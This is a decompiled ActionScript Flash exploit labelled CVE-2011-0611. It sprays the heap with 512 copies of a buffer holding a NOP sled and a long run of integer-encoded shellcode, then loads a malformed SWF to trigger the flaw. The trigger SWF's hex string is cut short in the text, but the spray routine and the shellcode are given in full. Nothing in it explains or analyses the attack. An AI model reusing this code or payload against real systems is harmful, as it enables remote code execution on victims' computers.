CVE-2011-0611 - heap spray

//ActionScript 3.0
//  package _513_fla
//    class MainTimeline
package _513_fla
{
    import adobe.utils.*;
    import flash.accessibility.*;
    import flash.desktop.*;
    import flash.display.*;
    import flash.errors.*;
    import flash.events.*;
    import flash.external.*;
    import flash.filters.*;
    import flash.geom.*;
    import flash.globalization.*;
    import flash.media.*;
    import flash.net.*;
    import flash.net.drm.*;
    import flash.printing.*;
    import flash.profiler.*;
    import flash.sampler.*;
    import flash.sensors.*;
    import flash.system.*;
    import flash.text.*;
    import flash.text.engine.*;
    import flash.text.ime.*;
    import flash.ui.*;
    import flash.utils.*;
    import flash.xml.*;

    public dynamic class MainTimeline extends flash.display.MovieClip
    {
        public function MainTimeline()
        {
            super();
            addFrameScript(0, this.frame1);
            return;
        }

        public function hexToBin(arg1:String):flash.utils.ByteArray
        {
            var loc1:*=null;
            var loc2:*=new flash.utils.ByteArray();
            var loc3:*=arg1.length;
            var loc4:*=0;
            loc2.endian = flash.utils.Endian.LITTLE_ENDIAN;
            while (loc4 < loc3)
            {
                loc1 = arg1.charAt(loc4) + arg1.charAt(loc4 + 1);
                loc2.writeByte(parseInt(loc1, 16));
                loc4 = loc4 + 2;
            }
            return loc2;
        }

        function frame1():*
        {
            this.s = new flash.utils.ByteArray();
            this.s3 = new flash.utils.ByteArray();
            this.a = new Array();
            this.t = "4657530ACC0500007800055F00000FA000001801004.... [bugly swf]....";
            this.i = 0;
            while (this.i < 1024)
            {
                this.s3.writeByte(17);
                var loc1:*;
                var loc2:*=((loc1 = this).i + 1);
                loc1.i = loc2;
            }
            this.i = 0;
            while (this.i < 1023)
            {
                this.s.writeBytes(this.s3, 0, this.s3.length);
                loc2 = ((loc1 = this).i + 1);
                loc1.i = loc2;
            }
            this.s.writeInt(1094795585);
            this.s.writeInt(2425393296);
            this.s.writeInt(2425393296);
            this.s.writeInt(2425393296);
            this.s.writeInt(2425393296);
            this.s.writeInt(2179735553);
            this.s.writeInt(35836);
            this.s.writeInt(2210858183);
            this.s.writeInt(1197215924);
            this.s.writeInt(100714247);
            this.s.writeInt(846500108);
            this.s.writeInt(3343320206);
            this.s.writeInt(319466695);
            this.s.writeInt(1191721442);
            this.s.writeInt(2105788231);
            this.s.writeInt(210760216);
            this.s.writeInt(1640449808);
            this.s.writeInt(2469586068);
            this.s.writeInt(3343324240);
            this.s.writeInt(3583757255);
            this.s.writeInt(1192772542);
            this.s.writeInt(2900084551);
            this.s.writeInt(481441295);
            this.s.writeInt(331826976);
            this.s.writeInt(3297582964);
            this.s.writeInt(3343328337);
            this.s.writeInt(799146439);
            this.s.writeInt(1193826150);
            this.s.writeInt(234866503);
            this.s.writeInt(748390283);
            this.s.writeInt(3855042352);
            this.s.writeInt(3987734452);
            this.s.writeInt(3343332546);
            this.s.writeInt(424346055);
            this.s.writeInt(1194884592);
            this.s.writeInt(2778384199);
            this.s.writeInt(1021586324);
            this.s.writeInt(3318171456);
            this.s.writeInt(3969736612);
            this.s.writeInt(3343336652);
            this.s.writeInt(1999867881);
            this.s.writeInt(2886008832);
            this.s.writeInt(868246689);
            this.s.writeInt(805306368);
            this.s.writeInt(2336230539);
            this.s.writeInt(1075088128);
            this.s.writeInt(2332068672);
            this.s.writeInt(277604491);
            this.s.writeInt(4150923609);
            this.s.writeInt(3896902912);
            this.s.writeInt(14875067);
            this.s.writeInt(134746385);
            this.s.writeInt(3338890868);
            this.s.writeInt(1684850499);
            this.s.writeInt(74186752);
            this.s.writeInt(5475078);
            this.s.writeInt(3892839680);
            this.s.writeInt(9169002);
            this.s.writeInt(22669344);
            this.s.writeInt(83886306);
            this.s.writeInt(4186697345);
            this.s.writeInt(3959424000);
            this.s.writeInt(3391625);
            this.s.writeInt(1160809341);
            this.s.writeInt(1552106800);
            this.s.writeInt(73927949);
            this.s.writeInt(286392181);
            this.s.writeInt(822039812);
            this.s.writeInt(2214133620);
            this.s.writeInt(3963420784);
            this.s.writeInt(29413);
            this.s.writeInt(1778412032);
            this.s.writeInt(1778412034);
            this.s.writeInt(1778420549);
            this.s.writeInt(810614613);
            this.s.writeInt(879362154);
            this.s.writeInt(6946922);
            this.s.writeInt(72387397);
            this.s.writeInt(956289155);
            this.s.writeInt(4160779457);
            this.s.writeInt(2373976176);
            this.s.writeInt(35584);
            this.s.writeInt(1024487424);
            this.s.writeInt(7713386);
            this.s.writeInt(6946922);
            this.s.writeInt(6947434);
            this.s.writeInt(9127216);
            this.s.writeInt(1358910772);
            this.s.writeInt(1778412032);
            this.s.writeInt(1778412036);
            this.s.writeInt(1351304504);
            this.s.writeInt(4291854828);
            this.s.writeInt(262144);
            this.s.writeInt(2348057542);
            this.s.writeInt(76357203);
            this.s.writeInt(1745879552);
            this.s.writeInt(9264644);
            this.s.writeInt(1399456336);
            this.s.writeInt(1795132229);
            this.s.writeInt(1157615755);
            this.s.writeInt(1174956544);
            this.s.writeInt(1778411520);
            this.s.writeInt(16777320);
            this.s.writeInt(67375377);
            this.s.writeInt(1795117162);
            this.s.writeInt(6947211);
            this.s.writeInt(1159004112);
            this.s.writeInt(3347055620);
            this.s.writeInt(286326784);
            this.s.writeInt(47108);
            this.s.writeInt(68227465);
            this.s.writeInt(2231369984);
            this.s.writeInt(8514560);
            this.s.writeInt(16777355);
            this.s.writeInt(3431566596);
            this.s.writeInt(16777297);
            this.s.writeInt(1744830720);
            this.s.writeInt(9127228);
            this.s.writeInt(4291854828);
            this.s.writeInt(65536);
            this.s.writeInt(2341274625);
            this.s.writeInt(35329);
            this.s.writeInt(1006662729);
            this.s.writeInt(2342323201);
            this.s.writeInt(33731);
            this.s.writeInt(76127492);
            this.s.writeInt(16777352);
            this.s.writeInt(69513274);
            this.s.writeInt(2286167041);
            this.s.writeInt(2952824900);
            this.s.writeInt(604146652);
            this.s.writeInt(2370053124);
            this.s.writeInt(1744830720);
            this.s.writeInt(5264267);
            this.s.writeInt(1161887696);
            this.s.writeInt(2370577412);
            this.s.writeInt(2342322177);
            this.s.writeInt(35329);
            this.s.writeInt(1006662665);
            this.s.writeInt(939750832);
            this.s.writeInt(1094947051);
            this.s.writeInt(4052552740);
            this.s.writeInt(2307719169);
            this.s.writeInt(16705);
            this.s.writeInt(2315487233);
            this.s.writeInt(2155544832);
            this.s.writeInt(1946585667);
            this.s.writeInt(21071873);
            this.s.writeInt(1128481084);
            this.s.writeInt(7727559);
            this.s.writeInt(1107238912);
            this.s.writeInt(37055);
            this.s.writeInt(101060881);
            this.s.writeInt(2179858433);
            this.s.writeInt(22376);
            this.s.writeInt(65536);
            this.s.writeInt(4283762739);
            this.s.writeInt(3225452604);
            this.s.writeInt(117470713);
            this.s.writeInt(2303025351);
            this.s.writeInt(67591283);
            this.s.writeInt(1668728644);
            this.s.writeInt(117729391);
            this.s.writeInt(1937033028);
            this.s.writeInt(117976677);
            this.s.writeInt(2019935812);
            this.s.writeInt(118227050);
            this.s.writeInt(6946922);
            this.s.writeInt(40501354);
            this.s.writeInt(6815744);
            this.s.writeInt(4216715);
            this.s.writeInt(1158735930);
            this.s.writeInt(50331779);
            this.s.writeInt(4160753550);
            this.s.writeInt(704839680);
            this.s.writeInt(2303014087);
            this.s.writeInt(1161822208);
            this.s.writeInt(27136);
            this.s.writeInt(1778411520);
            this.s.writeInt(1879048331);
            this.s.writeInt(1160794367);
            this.s.writeInt(1427663360);
            this.s.writeInt(2370125904);
            this.s.writeInt(1779455743);
            this.s.writeInt(1966145365);
            this.s.writeInt(478873194);
            this.s.writeInt(6946896);
            this.s.writeInt(2336567376);
            this.s.writeInt(4283766983);
            this.s.writeInt(1161822208);
            this.s.writeInt(51013);
            this.s.writeInt(1140850688);
            this.s.writeInt(9133572);
            this.s.writeInt(1778421061);
            this.s.writeInt(1079011328);
            this.s.writeInt(67108950);
            this.s.writeInt(4285870335);
            this.s.writeInt(1427911625);
            this.s.writeInt(3103785984);
            this.s.writeInt(8420366);
            this.s.writeInt(4278219788);
            this.s.writeInt(2155613951);
            this.s.writeInt(2238973312);
            this.s.writeInt(1947139973);
            this.s.writeInt(3807087555);
            this.s.writeInt(754975744);
            this.s.writeInt(8648704);
            this.s.writeInt(2130938205);
            this.s.writeInt(1080688781);
            this.s.writeInt(1162105087);
            this.s.writeInt(1967150847);
            this.s.writeInt(1966407509);
            this.s.writeInt(545385216);
            this.s.writeInt(67108995);
            this.s.writeInt(4211113896);
            this.s.writeInt(4285871359);
            this.s.writeInt(1428731916);
            this.s.writeInt(202445255);
            this.s.writeInt(6516068);
            this.s.writeInt(784809988);
            this.s.writeInt(1702389024);
            this.s.writeInt(3342862383);
            this.s.writeInt(1663050439);
            this.s.writeInt(1074537844);
            this.s.writeInt(1701693248);
            this.s.writeInt(275785052);
            this.s.writeInt(1942437908);
            this.s.writeInt(1668704367);
            this.s.writeInt(3342866547);
            this.s.writeInt(1949197767);
            this.s.writeInt(1075607653);
            this.s.writeInt(570452480);
            this.s.writeInt(1351304484);
            this.s.writeInt(3896771072);
            this.s.writeInt(3393931);
            this.s.writeInt(1163970308);
            this.s.writeInt(121717057);
            this.s.writeInt(1103578119);
            this.s.writeInt(67108864);
            this.s.writeInt(6946922);
            this.s.writeInt(6947434);
            this.s.writeInt(6946920);
            this.s.writeInt(64);
            this.s.writeInt(1468744976);
            this.s.writeInt(3893887488);
            this.s.writeInt(8648704);
            this.s.writeInt(260966402);
            this.s.writeInt(35141);
            this.s.writeInt(879362154);
            this.s.writeInt(6815856);
            this.s.writeInt(35653);
            this.s.writeInt(810614613);
            this.s.writeInt(409600141);
            this.s.writeInt(1161842794);
            this.s.writeInt(274136949);
            this.s.writeInt(822039836);
            this.s.writeInt(2338195562);
            this.s.writeInt(6946899);
            this.s.writeInt(2336567376);
            this.s.writeInt(4283766983);
            this.s.writeInt(1161822208);
            this.s.writeInt(51013);
            this.s.writeInt(1140850688);
            this.s.writeInt(9133580);
            this.s.writeInt(1778421061);
            this.s.writeInt(1079011328);
            this.s.writeInt(67108950);
            this.s.writeInt(4285870335);
            this.s.writeInt(1427911625);
            this.s.writeInt(3103785984);
            this.s.writeInt(8420366);
            this.s.writeInt(4278219788);
            this.s.writeInt(2155613951);
            this.s.writeInt(2238973312);
            this.s.writeInt(1947139973);
            this.s.writeInt(3807087555);
            this.s.writeInt(754975744);
            this.s.writeInt(8648704);
            this.s.writeInt(2130938205);
            this.s.writeInt(1080688781);
            this.s.writeInt(1162105087);
            this.s.writeInt(1967150847);
            this.s.writeInt(1966407509);
            this.s.writeInt(545385216);
            this.s.writeInt(67108995);
            this.s.writeInt(4211113896);
            this.s.writeInt(4285871359);
            this.s.writeInt(1428718060);
            this.s.writeInt(131072);
            this.s.writeInt(3188065809);
            this.s.writeInt(290899782);
            this.s.writeInt(3496176996);
            this.s.writeInt(784811732);
            this.s.writeInt(1702389024);
            this.s.writeInt(3343308847);
            this.s.writeInt(1663049927);
            this.s.writeInt(1188831264);
            this.s.writeInt(539150150);
            this.s.writeInt(3764676978);
            this.s.writeInt(549930724);
            this.s.writeInt(796074021);
            this.s.writeInt(3343313015);
            this.s.writeInt(1768842439);
            this.s.writeInt(1189898610);
            this.s.writeInt(626837318);
            this.s.writeInt(4034099571);
            this.s.writeInt(1959216884);
            this.s.writeInt(1701655346);
            this.s.writeInt(3343317084);
            this.s.writeInt(707687367);
            this.s.writeInt(1190951283);
            this.s.writeInt(640075526);
            this.s.writeInt(1952543595);
            this.s.writeInt(3343254635);
            this.s.writeInt(1768713415);
            this.s.writeInt(1174937647);
            this.s.writeInt(1768802118);
            this.s.writeInt(203450487);
            this.s.writeInt(1892107792);
            this.s.writeInt(778401893);
            this.s.writeInt(3343258656);
            this.s.writeInt(795222215);
            this.s.writeInt(1175987744);
            this.s.writeInt(539019078);
            this.s.writeInt(471867424);
            this.s.writeInt(549930528);
            this.s.writeInt(1684632096);
            this.s.writeInt(3343262752);
            this.s.writeInt(794894535);
            this.s.writeInt(1177034799);
            this.s.writeInt(1931528006);
            this.s.writeInt(740652905);
            this.s.writeInt(1858553392);
            this.s.writeInt(1684632101);
            this.s.writeInt(3343266908);
            this.s.writeInt(1937339335);
            this.s.writeInt(1178104933);
            this.s.writeInt(1832109894);
            this.s.writeInt(1009933354);
            this.s.writeInt(784811584);
            this.s.writeInt(1836278560);
            this.s.writeInt(3343270950);
            this.s.writeInt(639639751);
            this.s.writeInt(1179131936);
            this.s.writeInt(543409990);
            this.s.writeInt(1282371705);
            this.s.writeInt(549930576);
            this.s.writeInt(628385133);
            this.s.writeInt(3343275120);
            this.s.writeInt(626810055);
            this.s.writeInt(1180188993);
            this.s.writeInt(1094829894);
            this.s.writeInt(1545609248);
            this.s.writeInt(545506912);
            this.s.writeInt(2425208064);
            this.s.writeInt(16777355);
            this.s.writeInt(1062192647);
            this.s.writeInt(579471240);
            this.s.writeInt(105269052);
            this.s.writeInt(7730886);
            this.s.writeInt(1191125702);
            this.s.writeInt(102811206);
            this.s.writeInt(19908166);
            this.s.writeInt(41535046);
            this.s.writeInt(52479558);
            this.s.writeInt(69649990);
            this.s.writeInt(86410182);
            this.s.writeInt(109952256);
            this.s.writeInt(16777355);
            this.s.writeInt(1062177287);
            this.s.writeInt(2282112583);
            this.s.writeInt(1006663158);
            this.s.writeInt(3326541602);
            this.s.writeInt(3322282078);
            this.s.writeInt(2213425258);
            this.s.writeInt(5671749);
            this.s.writeInt(619185920);
            this.s.writeInt(27391);
            this.s.writeInt(1795161941);
            this.s.writeInt(209729768);
            this.s.writeInt(1946845240);
            this.s.writeInt(3916694912);
            this.s.writeInt(954955025);
            this.s.writeInt(2172126608);
            this.s.writeInt(2425393268);
            this.s.writeInt(143392597);
            this.s.writeInt(2347535680);
            this.s.writeInt(100655185);
            this.s.writeInt(1451980092);
            this.s.writeInt(2339647096);
            this.s.writeInt(66410123);
            this.s.writeInt(1981809653);
            this.s.writeInt(868829505);
            this.s.writeInt(2902705459);
            this.s.writeInt(3675242000);
            this.s.writeInt(987132936);
            this.s.writeInt(3251308291);
            this.s.writeInt(3661687793);
            this.s.writeInt(991917543);
            this.s.writeInt(1586191908);
            this.s.writeInt(64841355);
            this.s.writeInt(206277470);
            this.s.writeInt(470015371);
            this.s.writeInt(76219333);
            this.s.writeInt(2875087299);
            this.s.writeInt(3897555711);
            this.s.writeInt(4287664272);
            this.s.writeInt(2425393296);
            this.s.writeInt(2425393296);
            this.s.writeInt(2425393296);
            this.s.writeInt(2425393296);
            this.s.writeInt(2425393296);
            this.s.writeInt(2425393296);
            trace(this.s.length);
            this.i = 0;
            while (this.i < 512)
            {
                this.s2 = new flash.utils.ByteArray();
                this.s2.writeBytes(this.s, 0, this.s.length);
                trace(this.s2.length);
                this.a.push(this.s2);
                loc2 = ((loc1 = this).i + 1);
                loc1.i = loc2;
            }
            this.r = this.hexToBin(this.t);
            this.ldr = new flash.display.Loader();
            this.ldr.loadBytes(this.r);
            stop();
            return;
        }

        public var s:*;

        public var s2:*;

        public var s3:*;

        public var a:*;

        public var t:*;

        public var i:*;

        public var r:flash.utils.ByteArray;

        public var ldr:flash.display.Loader;
    }
}